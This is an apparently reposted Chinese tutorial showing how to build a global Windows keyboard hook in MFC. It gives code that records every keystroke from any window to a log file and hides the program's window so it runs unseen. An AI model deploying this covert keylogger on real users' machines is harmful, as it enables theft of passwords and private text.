`
rewop998
  • 浏览: 37240 次
  • 来自: ...
社区版块
存档分类
最新评论

keyhook

阅读更多

用键盘钩子在Windows平台捕获键盘动作      
     
  作者:未知   时间:2005-08-07   21:10   出处:编程爱好者网站   责编:chinaitpower      
     
                              摘要:用键盘钩子在Windows平台捕获键盘动作    
     
     
  信息产业部电子第二十二研究所青岛分所   郎锐    
   
  一、引言    
  我们可以在应用程序中毫不费力的捕获在本程序窗口上所进行的键盘操作,但如果我们想要将此程序作成一个监控程序,捕获在Windows平台下任意窗口上的键盘操作,就需要借助于全局钩子来实现了。    
  二、系统钩子和DLL    
  钩子的本质是一段用以处理系统消息的程序,通过系统调用,将其挂入系统。钩子的种类有很多,每种钩子可以截获并处理相应的消息,每当特定的消息发出,在到达目的窗口之前,钩子程序先行截获该消息、得到对此消息的控制权。此时在钩子函数中就可以对截获的消息进行加工处理,甚至可以强制结束消息的传递。    
  在本程序中我们需要捕获在任意窗口上的键盘输入,这就需要采用全局钩子以便拦截整个系统的消息,而全局钩子函数必须以DLL(动态连接库)为载体进行封装,VC6中有三种形式的MFC   DLL可供选择,即Regular   statically   linked   to   MFC   DLL(标准静态链接MFC   DLL)、Regular   using   the   shared   MFC   DLL(标准动态链接MFC   DLL)以及Extension   MFC   DLL(扩展MFC   DLL)。   在本程序中为方便起见采用了标准静态连接MFC   DLL。    
  三、键盘钩子程序示例    
  本示例程序用到全局钩子函数,程序分两部分:可执行程序KeyHook和动态连接库LaunchDLL。    
  1、首先编制MFC扩展动态连接库LaunchDLL.dll:    
  (1)选择MFC   AppWizard(DLL)创建项目LaunchDLL;在接下来的选项中选择Regular   statically   linked   to   MFC   DLL(标准静态链接MFC   DLL)。    
  (2)在LaunchDLL.h中添加宏定义和待导出函数的声明:    
  #define   DllExport   __declspec(dllexport)    
  ……    
  DllExport   void   WINAPI   InstallLaunchEv();    
  ……    
  class   CLaunchDLLApp   :   public   CWinApp    
  {    
  public:    
  CLaunchDLLApp();    
      
  //{{AFX_VIRTUAL(CLaunchDLLApp)    
  //}}AFX_VIRTUAL    
      
  //{{AFX_MSG(CLaunchDLLApp)    
  //   NOTE   -   the   ClassWizard   will   add   and   remove   member   functions   here.    
  //   DO   NOT   EDIT   what   you   see   in   these   blocks   of   generated   code   !    
  //}}AFX_MSG    
  DECLARE_MESSAGE_MAP()    
  };    
  (3)在LaunchDLL.cpp中添加全局变量Hook和全局函数LauncherHook、SaveLog:    
  HHOOK   Hook;    
  LRESULT   CALLBACK   LauncherHook(int   nCode,WPARAM   wParam,LPARAM   lParam);    
  void   SaveLog(char*   c);    
  (4)完成以上提到的这几个函数的实现部分:    
  ……    
  CLaunchDLLApp   theApp;    
  ……    
  DllExport   void   WINAPI   InstallLaunchEv()    
  {    
  Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,    
  (HOOKPROC)LauncherHook,    
  theApp.m_hInstance,    
  0);    
  }    
  在此我们实现了Windows的系统钩子的安装,首先要调用SDK中的API函数SetWindowsHookEx来安装这个钩子函数,其原型是:    
  HHOOK   SetWindowsHookEx(int   idHook,    
  HOOKPROC   lpfn,    
  HINSTANCE   hMod,    
  DWORD   dwThreadId);    
  其中,第一个参数指定钩子的类型,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我们只关心键盘操作所以设定为WH_KEYBOARD;第二个参数标识钩子函数的入口地址,当钩子钩到任何消息后便调用这个函数,即当不管系统的哪个窗口有键盘输入马上会引起LauncherHook的动作;第三个参数是钩子函数所在模块的句柄,我们可以很简单的设定其为本应用程序的实例句柄;最后一个参数是钩子相关函数的ID用以指定想让钩子去钩哪个线程,为0时则拦截整个系统的消息,在本程序中钩子需要为全局钩子,故设定为0。    
  ……    
  LRESULT   CALLBACK   LauncherHook(int   nCode,WPARAM   wParam,LPARAM   lParam)    
  {    
  LRESULT   Result=CallNextHookEx(Hook,nCode,wParam,lParam);    
  if(nCode==HC_ACTION)    
  {    
  if(lParam   &   0x80000000)    
  {    
  char   c[1];    
  c[0]=wParam;    
  SaveLog(c);    
  }    
  }    
  return   Result;    
  }    
  虽然调用CallNextHookEx()是可选的,但调用此函数的习惯是很值得推荐的;否则的话,其他安装了钩子的应用程序将不会接收到钩子的通知而且还有可能产生不正确的结果,所以我们应尽量调用该函数除非绝对需要阻止其他程序获取通知。    
  ……    
  void   SaveLog(char*   c)    
  {    
  CTime   tm=CTime::GetCurrentTime();    
  CString   name;    
  name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());    
  CFile   file;    
  if(!file.Open(name,CFile::modeReadWrite))    
  {    
  file.Open(name,CFile::modeCreate|CFile::modeReadWrite);    
  }    
  file.SeekToEnd();    
  file.Write(c,1);    
  file.Close();    
  }    
  当有键弹起的时候就通过此函数将刚弹起的键保存到记录文件中从而实现对键盘进行监控记录的目的。    
  编译完成便可得到运行时所需的键盘钩子的动态连接库LaunchDLL.dll和进行静态链接时用到的LaunchDLL.lib。    
  2、下面开始编写调用此动态连接库的主程序,并实现最后的集成:    
  (1)用MFC的AppWizard(EXE)创建项目KeyHook;    
  (2)选择单文档,其余几步可均为确省;    
  (3)把LaunchDLL.h和LaunchDLL.lib复制到KeyHook工程目录中,LaunchDLL.dll复制到Debug目录下。    
  (4)链接DLL库,即在"Project","Settings…"的"Link"属性页内,在"Object/librarymodules:"中填入"LaunchDLL.lib"。再通过"Project","Add   To   Project","Files…"将LaunchDLL.h添加到工程中来,最后在视类的源文件KeyHook.cpp中加入对其的引用:    
  #include   "LaunchDLL.h"    
  这样我们就可以象使用本工程内的   函数一样使用动态连接库LaunchDLL.dll中的所有导出函数了。    
  (5)在视类中添加虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:    
  ……    
  InstallLaunchEv();    
  ……    
  (6)到此为止其实已经完成了所有的功能,但作为一个后台监控软件,运行时并不希望有界面,可以在应用程序类CkeyHookApp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW);改为m_pMainWnd->ShowWindow(SW_HIDE);即可。    
  四、运行与检测    
  编译运行程序,运行起来之后并无什么现象,但通过Alt+Ctrl+Del在关闭程序对话框内可以找到我们刚编写完毕的程序"KeyHook",随便在什么程序中通过键盘输入字符,然后打开记录文件,我们会发现:通过键盘钩子,我们刚才输入的字符都被记录到记录文件中了。    
  小结:系统钩子具有相当强大的功能,通过这种技术可以对几乎所有的Windows系统消息进行拦截、监视、处理。这种技术广泛应用于各种自动监控系统中。  

分享到:
评论

相关推荐

    KeyHook.rar_keyhook_键盘钩子 C

    【标题】"KeyHook.rar_keyhook_键盘钩子 C" 涉及的是Windows编程中的一个关键概念——键盘钩子,这是一种系统级别的监控技术,允许程序捕获并处理其他应用程序的键盘输入事件。在C语言环境下实现键盘钩子,开发者...

    KeyHook

    《VC++6.0编程实践:KeyHook程序详解》 在计算机编程领域,Microsoft Visual C++ 6.0(简称VC++6.0)是一款经典的集成开发环境,它以其强大的功能和灵活性深受程序员喜爱。本篇文章将深入探讨一个基于VC++6.0编写的...

    KeyHook(键盘钩子)

    "KeyHook(键盘钩子)" 指的是一种技术,它允许程序在操作系统中设置一个钩子,以捕获和处理键盘事件。这种技术在编程中常用于监控用户输入、调试程序或者实现某些特定功能,如安全软件检测恶意按键行为。 **描述详解...

    无需DLL的KEYHOOK

    标题中的“无需DLL的KEYHOOK”指的是一个键盘钩子(Keyhook)程序,它不同于传统的通过动态链接库(DLL)实现的键盘钩子。在Windows编程中,键盘钩子允许程序监视并处理其他应用程序的键盘输入事件。通常,开发者会...

    KeyHook钩子

    【KeyHook钩子】是一种在IT领域中常见的技术,它主要涉及到系统级的编程和Windows API的使用。在Windows操作系统中,钩子(Hook)机制允许开发者插入代码来监控特定事件,例如键盘输入、鼠标动作等。DLl(Dynamic ...

    pb_keyhook.rar_PowerBuilder_hook_pb HODLL_pb hook_pb_keyhook

    "pb_keyhook.rar_PowerBuilder_hook_pb HODLL_pb hook_pb_keyhook"这个标题提到了几个关键点:PowerBuilder、hook、pb_HODLL、pb_hook以及pb_keyhook,这些都是与在PB中实现键盘钩子相关的概念。 1. PowerBuilder ...

    inner hook键盘钩子实例KeyHook

    内钩(inner hook)键盘钩子KeyHook是一种在Windows操作系统中实现的低级键盘输入拦截技术。通过设置这种钩子,程序可以捕获系统中所有或特定进程的键盘事件,即使这些事件没有直接发送到该程序。这在某些场景下非常...

    Qt_Windows_KeyHook

    `Qt_Windows_KeyHook`项目就是这样一个实现,它结合了流行的跨平台框架Qt与Windows的键盘钩子机制,提供了在Qt应用程序中监听和管理键盘输入的能力。 首先,我们要理解什么是键盘钩子。在Windows API中,钩子是一种...

    MFC KeyHooK钩子获取键盘输入按键源代码工程

    MFC KeyHooK钩子是开发者用来监控和处理键盘输入的一种技术。这个工程提供了获取键盘输入按键的源代码,帮助我们了解如何在MFC应用中实现键盘钩子。 首先,我们要理解什么是钩子(Hook)。在Windows编程中,钩子是...

    Delphi实现不用DLL的KeyHook【源码】.rar

    Delphi实现不用DLL的KeyHook,里面有两个相关的【源码】,不用DLL的KeyHook1和不用DLL的KeyHook2,不用DLL监视键盘,监控键盘的按键哪个被按下,两个程序都实现此类功能,但另一个可实现扫描码。

    node-win32-keyhook:NodeJS的全局按键库(仅限Windows)

    《NodeJS全局按键库node-win32-keyhook详解——专为Windows平台打造》 在IT领域,尤其是在开发跨平台应用程序时,对系统级事件的监听和处理是必不可少的一部分。其中,键盘事件的监听尤为关键,它能帮助开发者实现...

    windows版本2048小游戏

    《Windows版2048游戏开发详解:结合SimpleInjector与KeyHook技术》 Windows版本的2048小游戏是一款基于经典数字合成游戏2048的桌面应用,它旨在为初学者提供一个快速掌握Winform应用程序开发的平台。Winform是.NET ...

    Windows底层键盘钩子及源代码(VC6.0)

    这是一个使用VC编写的底层键盘钩子程序(DLL),可以直接应用于所有需要使用底层键盘钩子的程序开发中,大大简化您的开发工作。 特点:可以在外部自己编写钩子的...详细说明请参考Keyhook文件夹中的Keyhook.h头文件。

    hooks_delphi_delphikeyhook_zip_

    在Delphi编程环境中,"hooks_delphi_delphikeyhook_zip_" 涉及到的是一个关于键盘钩子(Key Hook)的示例项目。键盘钩子是Windows API中的一种技术,允许程序监视或拦截键盘输入事件,从而实现特定功能,如全局热键...

    自定义粘贴工具

    在压缩包子文件的文件名“KeyHook”中,“KeyHook”通常指的是键盘钩子,这是一种编程技术,用于监听和拦截键盘事件。在自定义粘贴工具中,KeyHook可能被用来捕捉用户的按键输入,当检测到用户触发了预设的快捷键...

    pb.rar_PowerBuilder_pb 分辨率_pb 自动大小

    PowerBuilder是一款强大的数据库应用开发工具,尤其在20世纪90年代至21世纪初,它在企业级应用开发领域有着广泛的应用。标题中的“pb.rar”可能是一个包含PowerBuilder项目或相关资源的压缩文件,而“PowerBuilder_...

    键盘钩子(SetWindowHookEx)

    【描述】:由于项目文件过大,这里仅提供了一段实现KeyHook的代码供学习参考。这段代码的核心就是利用`SetWindowHookEx`来创建键盘钩子,以便捕获用户的键盘输入。 【知识点详解】: 1. **钩子(Hooks)**:钩子是...

    apihook键盘钩子捕获键盘按键.zip

    在本案例中,"apihook键盘钩子捕获键盘按键.zip"是一个包含两个文件(KeyHook、LaunchDLL)的压缩包,其核心目标是演示如何通过API Hook技术来捕获并记录用户在键盘上按下按键的事件。 首先,我们要理解API Hook的...

    MFC 钩子使用实例

    return CallNextHookEx(g_KeyHook, nCode, wParam, lParam); } ``` 三、截获特殊键盘按键 要截获特殊键盘按键,需要在 KeyProc 函数中添加相应的逻辑。例如,要截获 Alt+F4 键,可以使用以下代码: ```c LRESULT ...

    Delphi增强型剪贴板管理程序.rar

     调试注意:用到有第三方控件:TrayIcon 系统托盘图标控件和键盘钩子程序及控件,要在 delphi 中 安装 TrayIcon.pas,CPKeyHook.pas 两个文件,自己开发时要注意KeyHook.dll 文件在用户目录下。安装方法 delphi7下 ...

Global site tag (gtag.js) - Google Analytics